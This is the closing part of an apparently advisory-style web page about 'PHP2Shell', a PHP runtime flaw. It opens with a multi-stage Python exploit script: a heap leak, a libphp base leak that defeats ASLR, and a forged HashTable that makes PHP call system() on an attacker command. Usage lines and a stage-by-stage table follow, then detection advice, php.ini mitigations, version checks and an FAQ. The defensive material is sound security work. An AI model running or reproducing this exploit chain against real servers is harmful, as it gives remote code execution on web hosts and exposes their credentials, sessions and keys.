chunk = ex.stage1()
if chunk:
t.log(f"[+] chunk base = 0x{chunk:x}")
break
t.log("[-] heap leak missed")
rotate_after_failure()
if not chunk:
_sv = t.verbose
t.verbose = ex.verbose = False
chunk = ex.calibrate_stage1(center=ex.stage1_n, radius=80, coarse=10, log=None)
t.verbose = ex.verbose = _sv
if chunk:
t.log(f"[+] chunk base = 0x{chunk:x}")
if not chunk:
print("HEAP_LEAK_FAILED", file=sys.stderr)
return 1
ex.rotate() # each stage needs a fresh worker
# ---- stage 2 ----
libphp = 0
for attempt in range(1, args.retries + 1):
t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
libphp = ex.stage2()
if libphp:
t.log(f"[+] libphp base = 0x{libphp:x}")
break
t.log("[-] libphp leak missed")
rotate_after_failure()
if not libphp:
_sv = t.verbose
t.verbose = ex.verbose = False
libphp = ex.calibrate_stage2(center=ex.stage2_t, radius=60, coarse=5, log=None)
t.verbose = ex.verbose = _sv
if libphp:
t.log(f"[+] libphp base = 0x{libphp:x}")
if not libphp:
print("LIBPHP_LEAK_FAILED", file=sys.stderr)
return 1
ex.rotate()
# ---- stage 3 ----
htdata = chunk + args.htdata_offset
zif = libphp + args.zif_offset
t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")
proof = ""
if args.proof_file:
try:
if os.path.exists(args.proof_file):
os.unlink(args.proof_file)
except OSError:
pass
for attempt in range(1, args.retries + 3):
try:
ex.stage3(htdata, zif)
except OSError as e:
t.log(f"[-] request error: {e}")
time.sleep(0.8)
if args.proof_file:
try:
if os.path.exists(args.proof_file):
with open(args.proof_file, "rb") as f:
proof = f.read().decode("latin1").strip()
except OSError:
pass
if not proof and args.fetch:
status, body = t.get(args.fetch)
if status == 200:
proof = body.decode("latin1").strip()
if proof:
t.log(f"[+] W3 attempt {attempt}")
print(f"PROOF: {proof}")
return 0
t.log(f"[-] stage 3 attempt {attempt} no proof yet")
rotate_after_failure()
print("EXPLOIT_FAILED (no proof; the command may still have executed blind)",
file=sys.stderr)
return 1
if __name__ == "__main__":
try:
sys.exit(main())
except KeyboardInterrupt:
sys.exit(130)
python3 exploit.py -u http://127.0.0.1:8088/index.php python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1 python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1
| Code | Chain step |
|---|---|
| rotate() | Stage 0 — aborts the current prefork worker over HTTP so a fresh one picks up the corrupted state. |
| stage1() + chunk_base_from_cookie() | Stage 1 — OOM during upload progress → stale session-id pointer → Set-Cookie leak → 2 MB-aligned heap chunk base. |
| stage2() + libphp_base_from_cookie() | Stage 2 — second leak reads the ZVAL_PTR_DTOR pointer → libphp base. ASLR defeated. |
| _fake_payload() + stage3() | Stage 3 — forged 167-byte HashTable with pDestructor = zif_system; engine cleanup calls system(cmd). |
| calibrate_stage1/2, retries | Robustness — sweeps filler counts and re-rotates workers because the corruption is probabilistic. |
The attack leaves distinctive marks — any of these, and especially the combination, is worth alerting on while patching is in progress:
Treat a suspected incident as both code execution and data disclosure: audit credential, session-token and key exposure too, and consider rotating secrets on exposed hosts.
Because PHP2Shell lives in the runtime, "updating the website" misses it entirely. Updating WordPress, Drupal, Joomla or Laravel changes the application; the vulnerable code is in PHP, underneath all of them. The only complete fix:
; php.ini — temporary exposure reduction only session.upload_progress.enabled = 0 # removes the trigger for most reported techniques opcache.enable = 0 # frustrates the code-execution path ; on PHP 8.5 only: fatal_error_backtraces = 0 # addresses CVE-2026-109619 specifically
Check every web server — and don't forget embedded copies (sidecars, workers, appliances need separate inventory):
# check the version php -v # VULNERABLE, e.g.: PHP 8.4.26 # one release short of the fix # FIXED, e.g.: PHP 8.4.27
| Question | Answer |
|---|---|
| Which PHP versions? | Believed affected back to 5.4.0 (2012). Fixed in 8.5.12, 8.4.27, 8.3.36, 8.2.35; source backports published for 7.4 / 8.0 / 8.1. Distro packages may carry the fix under older numbers — check the changelog for the CVE IDs. |
| Which SAPIs? | Apache mod_php is the easiest target and highest risk; also PHP-FPM, php-cgi, FrankenPHP, LSAPI, Windows PHP. |
| Does updating WordPress / plugins fix it? | No. This is in the PHP runtime. |
| Does the app need sessions or uploads? | Not necessarily — the upload-progress trigger runs before application code, even if the app never calls session_start(). |
| What does the attacker get? | Code execution as the web worker user (not root automatically) — enough to read configs/DB creds, drop webshells, and pivot. Plus potential memory disclosure of secrets and keys. |
CVE-2026-109618 • CVE-2026-109619 • CWE-824 / CWE-416 • CVSS v4.0 9.2 (Critical). Technical content on this page draws on the author's notes and the TryHackMe PHP2Shell room. Last updated 23 Oct 2026.